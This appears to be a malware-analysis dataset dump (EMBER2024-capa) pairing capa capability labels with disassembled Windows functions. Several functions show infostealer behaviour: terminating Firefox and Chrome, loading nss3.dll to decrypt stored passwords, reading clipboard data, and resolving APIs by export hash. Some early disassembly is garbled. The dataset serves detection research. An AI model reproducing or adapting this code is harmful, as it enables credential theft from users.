joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a9a0
Capabilities:
Encode data using xor

Disassembly:
mov esp, 0xec06ec8b
adc al, 0x53
push esi
push edi
mov esi, dword [ebx + 0xc]
adc al, 0x14
test edx, edx
mov dword [ebp - 8], edx
jne 0x40a9c3
pop edi
mov ebp, 0x8b5bc033
in eax, 0x5d
ret 0x10
add byte [ebx + 0x4d8bf86a], cl
adc al, 0xc9
mov ecx, dword [ebp + 0x14]
leave
cmp dword [eax], eax
je 0x40a9b5
mov esp, dword [eax + 8]
xor eax, eax
mov al, byte [esi]
inc esi
test al, al
mov dword [ebp + 8], esi
js 0x40a9f3
dec edx
mov dword [edi], edx
mov edx, dword [ecx]
dec edx
mov dword [ecx], edx
mov ecx, dword [ebp + 0x77]
mov word [ecx], ax
add ecx, 2
test bl, dl
adc cl, ch
and al, byte [ecx]
add byte [eax], al
rcl dword [eax], cl
jmp 0x40ab15
mov ecx, eax
and ecx, 0xc0
xor byte [ebx], 0xd9
sub al, 0x2e
imul eax, dword [eax], 0x18990000
loopne 0x40aa08
add byte [eax], al
sub ecx, eax
mov dword [ebp - 0x10], edx
and edx, ecx
xor ecx, dword [edi]
outsb dx, byte [esi]
add dword [eax], eax
add byte [eax], al
jne 0x40a9ec
and ebp, dword [ecx - 0x77]
jne 0x40aa1b
imul ecx, dword [ecx + 0x4589fc75], 0x3b9b75ec
sal dword [ebp + 0x18], cl
mov dword [ebp - 0x14], eax
jne 0x40a9bf
cmp edx, ebx
jne 0x40aa40
mov ebx, dword [edx]
mov edx, ebx
mov ecx, 1
call 0x31e4b810
xchg edx, eax
sbb ecx, dword [ebx]
fiadd dword [esi - 0x7d]
mov dword [ebx], 0x77fc3089
dec eax
cld
ja 0x40aa8b
pop esi
imul esp
mov eax, ebx
mov al, byte [edi]
mov dword [ecx], 0x756ec1cb
add al, 0xf3
retf
pop edi
pop esi
mov eax, 0xefe791
pop ebx
mov eax, dword [esi + 0x5d]
ret 0x10
ret 0x1f81
mov edx, dword [ebp + 0x5f]
push ebp
pop edi
xor eax, eax
pop ebx
mov al, byte [edi]
test dword [ebp - 4], edx
mov edx, eax
and edx, 0x720000c0
inc edi
cmp dl, 0x80
mov dword [ebp + 8], edi
je 0x40aa8b
jp 0x40aafb
int1
push es
sbb edi, 0x3f
cdq
rcr edi, 0xdd
or eax, esi
or edx, ecx
mov eax, dword [0xfc458bf0]
test eax, eax
mov ecx, edx
jne 0x40ab14
mov eax, dword [ebp - 0x5b]
mov edx, dword [ebp - 0xc]
insb byte es:[edi], dx
ret 0x558b
Function at 0x710c6d
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x7109ec
push 0xdbf9e9c7
pop esi
and esi, eax
call fcn.00710ca0
mov esi, eax
xor dword [ebx], edi
add esi, esi
inc ebx
mov eax, 0x655d5b1e
mov eax, 0x4a66ac3
dec esi
cmp ebx, edx
jne fcn.00710c6d
sub esi, 0xae1cf137
dec esi
or esi, esi
ret
Function at 0x457cd4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0044e1c5
and dword [ebp - 4], 0
cmp dword [0x477ab4], 0
mov ebx, eax
jne 0x457d85
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x457e36
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x457e36
push eax
call fcn.0044e153
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x477ab4], eax
call esi
push eax
call fcn.0044e153
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x477ab8], eax
call esi
push eax
call fcn.0044e153
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x477abc], eax
call esi
push eax
call fcn.0044e153
pop ecx
mov dword [0x477ac4], eax
test eax, eax
je 0x457d85
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0044e153
pop ecx
mov dword [0x477ac0], eax
mov eax, dword [0x477ac0]
cmp eax, ebx
je 0x457ddd
cmp dword [0x477ac4], ebx
je 0x457ddd
push eax
call fcn.0044e1ce
push dword [0x477ac4]
mov esi, eax
call fcn.0044e1ce
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x457ddd
test edi, edi
je 0x457ddd
call esi
test eax, eax
je 0x457dd4
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x457dd4
test byte [ebp - 0xc], 1
jne 0x457ddd
or dword [ebp + 0x10], 0x200000
jmp 0x457e16
mov eax, dword [0x477ab8]
cmp eax, ebx
je 0x457e16
push eax
call fcn.0044e1ce
pop ecx
test eax, eax
je 0x457e16
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x457e16
mov eax, dword [0x477abc]
cmp eax, ebx
je 0x457e16
push eax
call fcn.0044e1ce
pop ecx
test eax, eax
je 0x457e16
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x477ab4]
call fcn.0044e1ce
pop ecx
test eax, eax
je 0x457e36
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x457e38
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x48a3b2
Capabilities:
Parse pe header

Disassembly:
pushal
xor edx, edx
mov esi, dword fs:[edx]
lodsd eax, dword [esi]
cmp eax, 0xffffffff
je 0x48a3c2
mov esi, eax
jmp 0x48a3b8
mov edi, dword [esi + 4]
and edi, 0xffff0000
cmp word [edi], 0x5a4d
je 0x48a3da
sub edi, 0x10000
jmp 0x48a3cb
mov ebx, edi
add ebx, dword [ebx + 0x3c]
cmp word [ebx], 0x4550
je 0x48a3e8
jmp 0x48a3cb
mov dword [esp + 0x1c], edi
popal
ret

Function at 0x48a3ee
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
pushal
mov ebx, dword [esp + 0x24]
mov ecx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
add ebx, ecx
mov edi, dword [ebx + 0x20]
add edi, ecx
xor esi, esi
lea edx, [edi + esi*4]
mov edx, dword [edx]
add edx, ecx
xor eax, eax
rol eax, 7
xor al, byte [edx]
inc edx
cmp byte [edx], 0
jne 0x48a40d
cmp eax, dword [esp + 0x28]
je 0x48a424
inc esi
cmp esi, dword [ebx + 0x18]
jb 0x48a404
mov edx, dword [ebx + 0x24]
add edx, ecx
movzx edx, word [edx + esi*2]
mov eax, dword [ebx + 0x1c]
add eax, ecx
mov eax, dword [eax + edx*4]
add eax, ecx
mov dword [esp + 0x1c], eax
popal
ret 8
Function at 0x401810
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x134], eax
and dword [eax], 0
inc esi
push edi
push 4
mov dword [ebp - 0x130], esi
call fcn.004645fc
pop ecx
push 0
push 2
mov ebx, eax
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
test edi, edi
jne 0x40186c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4018f8
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4018ef
jmp 0x4018de
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x108]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4018a8
test dl, dl
je 0x4018a4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4018a8
add eax, 2
add ecx, 2
test dl, dl
jne 0x401888
xor eax, eax
jmp 0x4018ad
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4018de
shl esi, 2
push esi
push ebx
call fcn.0046468e
mov ebx, eax
mov eax, dword [ebp - 0x124]
pop ecx
pop ecx
mov dword [esi + ebx - 4], eax
mov eax, dword [ebp - 0x134]
mov esi, dword [ebp - 0x130]
mov dword [eax], esi
inc esi
mov dword [ebp - 0x130], esi
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40187f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00462f14
mov esp, ebp
pop ebp
ret
Function at 0x401e64
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
lea eax, [ebp - 0xc]
push eax
push str.firefox.exe
call fcn.00401810
mov edi, eax
lea eax, [ebp - 0x10]
push eax
push str.chrome.exe
mov dword [ebp - 4], edi
call fcn.00401810
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
push eax
push str.plugin_container.exe
call fcn.00401810
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor esi, esi
add esp, 0x18
mov dword [ebp - 0x14], eax
cmp dword [ebp - 8], esi
jle 0x401ee1
push dword [eax + esi*4]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
je 0x401ece
push 0
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
inc esi
cmp esi, dword [ebp - 8]
jl 0x401eb2
mov edi, dword [ebp - 4]
xor esi, esi
cmp dword [ebp - 0xc], esi
jle 0x401f14
push dword [edi + esi*4]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
je 0x401f04
push 0
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 4]
inc esi
cmp esi, dword [ebp - 0xc]
jl 0x401ee8
xor esi, esi
cmp dword [ebp - 0x10], esi
jle 0x401f47
mov eax, dword [ebp - 0x18]
push dword [eax + esi*4]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
je 0x401f3a
push 0
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [ebp - 0x10]
jl 0x401f1b
push dword [ebp - 0x14]
call fcn.004645c4
push dword [ebp - 4]
call fcn.004645c4
push dword [ebp - 0x18]
call fcn.004645c4
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401f6b
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x402098
push esi
push edi
push 0x4837ac
call fcn.00464504
xor edi, edi
pop ecx
test eax, eax
je 0x401fb7
push edi
push ebx
push 0x4837b4
push eax
call fcn.00401af3
mov esi, eax
push edi
push esi
push str.PATH
call fcn.00401af3
push eax
call fcn.00464739
push esi
call fcn.0046537d
add esp, 0x24
push edi
push str._nss3.dll
push ebx
call fcn.00401af3
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x40205f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NSS_Init
push ebx
call esi
push str.NSS_Shutdown
push ebx
mov dword [0x4b4248], eax
call esi
push str.PK11_GetInternalKeySlot
push ebx
mov dword [0x4b424c], eax
call esi
push str.PK11_FreeSlot
push ebx
mov dword [0x4b4238], eax
call esi
push str.PK11_Authenticate
push ebx
mov dword [0x4b423c], eax
call esi
push str.PK11SDR_Decrypt
push ebx
mov dword [0x4b4240], eax
call esi
push str.sqlite3_open
push ebx
mov dword [0x4b4244], eax
call esi
push str.sqlite3_prepare_v2
push ebx
mov dword [0x4b4250], eax
call esi
push str.sqlite3_step
push ebx
mov dword [0x4b4254], eax
call esi
push str.sqlite3_column_text
push ebx
mov dword [0x4b4258], eax
call esi
mov dword [0x4b425c], eax
cmp dword [0x4b4248], edi
je 0x402092
cmp dword [0x4b424c], edi
je 0x402092
cmp dword [0x4b4238], edi
je 0x402092
cmp dword [0x4b4240], edi
je 0x402092
cmp dword [0x4b4244], edi
je 0x402092
cmp dword [0x4b423c], edi
je 0x402092
xor edi, edi
inc edi
mov eax, edi
pop edi
pop esi
jmp 0x40209a
xor eax, eax
pop ebx
pop ebp
ret

Function at 0x4020d1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
lea eax, [ebp - 0x10c]
xor ebx, ebx
push eax
push 0x20019
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Pathschrome.exe
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x10c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x402115
xor eax, eax
jmp 0x40219b
push 0x103
lea eax, [ebp - 0x107]
mov byte [ebp - 0x108], bl
push ebx
push eax
call fcn.004653c0
add esp, 0xc
mov dword [ebp - 0x110], 0x104
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x108]
push eax
push ebx
push ebx
push str.Path
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402170
sub ecx, edx
push esi
lea eax, [ecx + 1]
push eax
call fcn.00461d70
pop ecx
lea edx, [ebp - 0x108]
mov esi, eax
mov ecx, edx
sub esi, ecx
mov cl, byte [edx]
mov byte [esi + edx], cl
inc edx
test cl, cl
jne 0x402190
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00462f14
mov esp, ebp
pop ebp
ret
Function at 0x402cf3
Capabilities:
Create thread
Resume thread
Terminate thread

Disassembly:
push 0x410
mov eax, 0x481228
call fcn.00462feb
mov edi, dword [ebp + 8]
push 0x18
call fcn.0046273d
pop ecx
push 7
xor esi, esi
pop ebx
test eax, eax
je 0x402d23
xor ecx, ecx
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], esi
mov word [eax], cx
jmp 0x402d25
mov eax, esi
cmp dword [0x4b4278], 0
mov dword [0x4b428c], eax
je 0x402d50
push esi
push esi
push 2
push dword [0x4b4274]
call dword [sym.imp.USER32.dll_SendMessageW]
push esi
push dword [0x4b4278]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [ebp - 0x41c]
push eax
push 4
push esi
push 0x402e92
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [ebp - 0x41c], 0
mov dword [0x4b4278], eax
jbe 0x402e8c
push str.MS_Shell_Dlg
push esi
push esi
push esi
push 4
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push 0xc
call dword [sym.imp.GDI32.dll_CreateFontW]
push 0x18
mov dword [0x4b4298], eax
mov dword [0x4b4290], edi
call fcn.0046273d
pop ecx
test eax, eax
je 0x402db7
xor ecx, ecx
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], esi
mov word [eax], cx
jmp 0x402db9
mov eax, esi
mov dword [0x4b4294], eax
mov edi, 0xff
lea eax, [ebp - 0x410]
push edi
push eax
call fcn.0045e75a
lea eax, [ebp - 0x210]
push edi
push eax
call fcn.0045e725
lea eax, [ebp - 0x410]
push eax
call fcn.00403068
mov ecx, dword [0x4b4294]
add esp, 0x14
push eax
lea eax, [ebp - 0x410]
push eax
call fcn.00402c50
mov edi, 0x4839e4
push edi
call fcn.00403068
pop ecx
mov ecx, dword [0x4b4294]
push eax
push edi
call fcn.00402c50
lea eax, [ebp - 0x210]
push eax
call fcn.00403068
pop ecx
mov ecx, dword [0x4b4294]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00402c50
lea ecx, [ebp - 0x418]
call fcn.0045c6ec
push 3
lea ecx, [ebp - 0x418]
mov dword [ebp - 4], esi
call fcn.0045c7e9
push esi
lea ecx, [ebp - 0x418]
call fcn.0045c7e9
mov ecx, dword [0x4b4290]
lea eax, [ebp - 0x418]
push eax
call fcn.00403510
push dword [0x4b4278]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x418]
call fcn.0045c702
call fcn.00462f9a
ret
Function at 0x403173
Capabilities:
Get graphical window text

Disassembly:
push 0x20c
mov eax, 0x48125b
call fcn.00462feb
push dword [0x4b4280]
mov esi, dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
test eax, eax
je 0x403262
mov edi, 0xff
lea eax, [ebp - 0x210]
push edi
push 0
push eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp - 0x210]
push edi
push eax
push dword [0x4b4280]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0x483a04
push dword [0x4b4280]
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov eax, dword [0x4b4294]
cmp dword [eax + 0x14], 8
jb 0x4031e2
mov eax, dword [eax]
lea ecx, [ebp - 0x210]
push ecx
push eax
call fcn.00403268
pop ecx
pop ecx
lea ecx, [ebp - 0x218]
call fcn.0045c6ec
and dword [ebp - 4], 0
lea ecx, [ebp - 0x218]
push 3
call fcn.0045c7e9
push 1
lea ecx, [ebp - 0x218]
call fcn.0045c7e9
mov eax, dword [0x4b4294]
cmp dword [eax + 0x14], 8
jb 0x403227
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x218]
call fcn.0045c8e0
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x218]
call fcn.0045c8e0
lea eax, [ebp - 0x218]
mov ecx, esi
push eax
call fcn.00403510
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x218]
call fcn.0045c702
call fcn.00462f9a
ret

Function at 0x403313
Capabilities:
Create thread

Disassembly:
push 4
mov eax, 0x481b7b
call fcn.00462fb8
mov edi, ecx
push 0x14
mov dword [edi], vtable.Client.0
call fcn.0046273d
pop ecx
mov dword [ebp - 0x10], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
test eax, eax
je 0x403348
push 6
push 1
mov ecx, eax
call fcn.00403b83
jmp 0x40334a
mov eax, ebx
mov esi, dword [ebp + 8]
or dword [ebp - 4], 0xffffffff
push esi
mov dword [edi + 4], eax
call fcn.00461d70
pop ecx
push ebx
mov dword [edi + 8], eax
mov eax, dword [ebp + 0xc]
push ebx
mov dword [edi + 0x1c], eax
mov eax, dword [ebp + 0x10]
push 1
mov dword [edi + 0x24], eax
mov eax, dword [ebp + 0x14]
push ebx
mov dword [edi + 0x10], esi
mov byte [edi + 0x20], bl
mov dword [edi + 0x28], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x34]
push eax
push ebx
push edi
push 0x403731
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x30], eax
lea eax, [edi + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, edi
call fcn.00462f86
ret 0x10

Function at 0x4033ae
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 4]
mov dword [esi], vtable.Client.0
call fcn.00403b9c
push dword [esi + 8]
call fcn.0040e9f1
xor eax, eax
pop ecx
push eax
push dword [esi + 0x30]
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esi + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
pop esi
ret

Function at 0x40347a
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push ecx
push 0x403598
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
ret
Function at 0x40395f
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor esi, esi
mov dword [ebp - 0x230], 0x22c
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x403993
xor eax, eax
jmp 0x4039f5
lea eax, [ebp - 0x230]
push eax
push edi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x4039ec
push ebx
mov ebx, dword [ebp + 8]
cmp dword [ebp - 0x228], ebx
je 0x4039c3
lea eax, [ebp - 0x230]
push eax
push edi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x4039a8
jmp 0x4039eb
lea eax, [ebp - 0x20c]
push 0x5c
push eax
call fcn.004654ff
pop ecx
pop ecx
test eax, eax
jne 0x4039df
lea eax, [ebp - 0x20c]
jmp 0x4039e2
add eax, 2
push eax
call fcn.00465450
pop ecx
mov esi, eax
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00462f14
mov esp, ebp
pop ebp
ret
Function at 0x403a05
Capabilities:
Get graphical window text
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor eax, eax
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
test edi, edi
je 0x403a2c
push dword [ebp + 0xc]
push eax
push edi
call fcn.004653c0
add esp, 0xc
xor eax, eax
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x403a40
push dword [ebp + 0x14]
push eax
push esi
call fcn.004653c0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.USER32.dll_OpenClipboard]
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
test ebx, ebx
je 0x403b74
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp + 0x10], eax
test eax, eax
je 0x403b6d
mov ecx, dword [0x4b61e8]
test ecx, ecx
je 0x403ab6
mov edx, eax
mov ax, word [ecx]
cmp ax, word [edx]
jne 0x403aa6
test ax, ax
je 0x403aa2
mov ax, word [ecx + 2]
cmp ax, word [edx + 2]
jne 0x403aa6
add ecx, 4
add edx, 4
test ax, ax
jne 0x403a80
xor eax, eax
jmp 0x403aab
sbb eax, eax
or eax, 1
test eax, eax
je 0x403b6d
mov eax, dword [ebp + 0x10]
mov ecx, eax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp - 0xc]
jne 0x403abb
push dword [0x4b61e8]
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
mov dword [ebp + 8], eax
call fcn.004645c4
push dword [ebp + 8]
call fcn.004645fc
mov dword [0x4b61e8], eax
pop ecx
pop ecx
test eax, eax
je 0x403b02
push dword [ebp + 8]
push dword [ebp + 0x10]
push eax
call fcn.00463680
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
cmp dword [0x4b61e8], 0
je 0x403b7a
test esi, esi
je 0x403b2c
push dword [ebp + 0x14]
push esi
mov esi, dword [ebp - 8]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x403b2f
mov esi, dword [ebp - 8]
test edi, edi
je 0x403b66
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [ebp - 4], 0
je 0x403b66
push dword [ebp - 4]
call fcn.0040395f
mov esi, eax
pop ecx
test esi, esi
je 0x403b66
push esi
push dword [ebp + 0xc]
push edi
call fcn.004654a3
push esi
call fcn.004645c4
add esp, 0x10
mov eax, dword [0x4b61e8]
jmp 0x403b7c
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403fa5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
xor edi, edi
cmp dword [0x4b61f0], edi
jne 0x40404e
push str.GetDiskFreeSpaceExW
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4b61f0], eax
test eax, eax
je 0x40404e
push esi
push 0xfffe
call fcn.004618ae
pop ecx
mov esi, eax
push esi
push 0x7fff
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x404046
push edi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
call dword [0x4b61f0]
test eax, eax
je 0x404037
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov edx, dword [ebp + 8]
shrd ecx, eax, 0x14
shr eax, 0x14
mov eax, dword [ebp - 0xc]
mov dword [edx + 0x35c], ecx
mov ecx, dword [ebp - 0x10]
shrd ecx, eax, 0x14
shr eax, 0x14
mov dword [edx + 0x360], ecx
jmp 0x404046
mov eax, dword [ebp + 8]
mov dword [eax + 0x360], edi
mov dword [eax + 0x35c], edi
push esi
call fcn.0046189d
pop ecx
pop esi
mov dword [0x4b61f0], edi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4045f0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 0x40
pop esi
push esi
call fcn.004618ae
mov edi, eax
pop ecx
push edi
mov dword [edi], esi
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov edx, dword [edi + 8]
mov ecx, dword [edi + 0xc]
mov esi, dword [ebp + 8]
shrd edx, ecx, 0x14
push edi
shr ecx, 0x14
mov dword [esi + 0x20c], edx
mov ecx, dword [edi + 0x10]
mov eax, dword [edi + 0x14]
shrd ecx, eax, 0x14
shr eax, 0x14
mov dword [esi + 0x210], ecx
mov eax, dword [edi + 4]
mov dword [esi + 0x214], eax
call fcn.0046189d
pop ecx
pop edi
pop esi
pop ebp
ret